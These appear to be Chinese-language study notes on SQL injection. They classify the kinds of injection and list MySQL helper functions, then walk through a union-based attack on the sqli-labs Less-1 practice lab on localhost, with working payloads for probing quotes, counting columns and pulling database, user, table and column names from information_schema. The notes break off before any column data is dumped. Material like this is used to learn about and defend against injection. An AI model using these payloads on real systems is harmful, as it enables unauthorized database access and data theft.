SQL注入进阶
SQL注入分类:
根据请求方式不同可以分为
GET方式请求注入
POST方式请求注入
根据sql注入点的参数类型可以分为
整数型注入
字符型注入
搜索型
根据sql注入点的反馈类型可以分为以下常见几类
-
- union类型的sql注入 联合查询注入
- 基于错误显示的sql注入 报错注入
- 布尔类型的sql注入 布尔注入
- 基于时间的sql注入 延时注入
根据web应用常用的数据库类型分类
-
- Mysql数据库注入
- SQLServer数据库注入
- Oracle数据库注入
- Access数据库注入
- Mongodb
根据sql语句类型分类
-
- Select
- Insert/update
- delete
sql基础:
user() 返回当前使用数据库的用户
select user();
select system_user();
select current_user();
select session_user();
version() 返回当前数据库的版本
select version();
select @@version
database() 返回当前使用的数据库
select database();
select datadir() 查看路径
常用函数
拼接列:
select concat(1,2)
select concat(1,’~’,2);
select concat_ws(‘~’,1,2);
多行合成一行:
select group_concat(user) from users;
多列合成一列:
select concat(user,password) from users;;
多列合成一列再合成一行:
select group_concat(concat(user,password)) from users;
select group_concat(concat_ws(‘~’,user,password)) from users;
查看前20个输出的结果(后20个为right):
select left(group_concat(concat_ws(‘~’,user,password)),20) from users;
查看固定输出位置(1到20):substr/substring/Mid
select substr(group_concat(concat_ws(‘~’,user,password))1,20) from user;
sql注入:
id=1
select*from xxx where id = 1 and 1=2
1=2永假
如果页面上为1,应该输出结果
但是后面有1=2时页面没有结果显示,说明此代码执行
如果页面没有变化,继续显示,说明代码为~ id = ‘1 and 1=2’引号里的为字符串类型,且此内容无法识别执行
输入一段代码,放到sql语句里能执行,即为sql注入
注入点基本顺序:
and 1=1
and 1=2
and 3-2=1
and 3-1=1
‘ “ ) ‘) “) ‘)) “))测处页面异常,代表为此代码执行,或者漏洞为这个
进行进一步测试:
‘ and 1=1
‘ and 1=2
‘ and 3-2=1
‘ and 3-1=1
-------------------------------------------------------------------------------------------------------
通过order by 判断列数
1‘ order by 2 -- 判断两列
select aa,bb from xxx where id = ‘1’
通过union 判断显示位
Select aa,bb from xxx where id = ‘1’ union select 1,2
1' union select 1,2 –
1,2处可以写成sql函数,输出想要的信息
显示数据库
1' union select database(),2 –
用户
1' union select user(),2 –
版本
1' union select version(),2 –
数据库路径
通过order by 判断有计列
通过union 判断显示列
通过显示列得到需要的内容
测试
输入id=1有信息,
分别输入id=1 and 1=1;
1 and 1=2;
信息不变,则证明and后面代码未执行
继续输入id = 1’ 开始报错,证明此代码执行,而且’为注入点,为字符型注入
继续测试:
2’ and 1=1 limit 1 – a 页面没变
2’ and 1=2 limit 1 – a 页面变化
此时确定了注入点,确定sql表有几列:
2' order by 3 limit 1 – a 页面有信息
id=2' and 1=1 limit 1 – a
http://localhost/sqli-labs-master/Less-1/?id=2' order by 4 limit 1 – a 开始报错
证明只有3列,进行联合查询union
输入http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 limit 1 – a
发现只有2,3显示则再2,3处进行信息输出即可
/Less-1/?id=-1' union select 1,database(),user() limit 1 -- a
得到数据库为security,用户为root
进行爆表:
/Less-1/?id=-1' union select 1,
(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),
version() limit 1 -- a
知识点:information schme 由内存中生成
schemata 存放所有数据库名
select * from schemata;与show database;效果相同
schema_name 数据库表名
Tables 存放所有数据库中的所有表
table_schema 数据库名
table_name 数据库所对应的表的名
select table_name from tables where table_schema='dvwa’;
(select group_concat(table_name) from information_schema.tables where table_schema = 'security' )
爆破字段Columns
-
- TABLE_SCHEMA 数据库名
- TABLE_NAME 数据库所对应的表的名
- COLUMN_NAME 表名对应的字段名
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,
(select group_concat(column_name) from information_schema. columns where table_schema = 'security' and table_name = 'users' ),3 limit 1 – a
得到字段如下: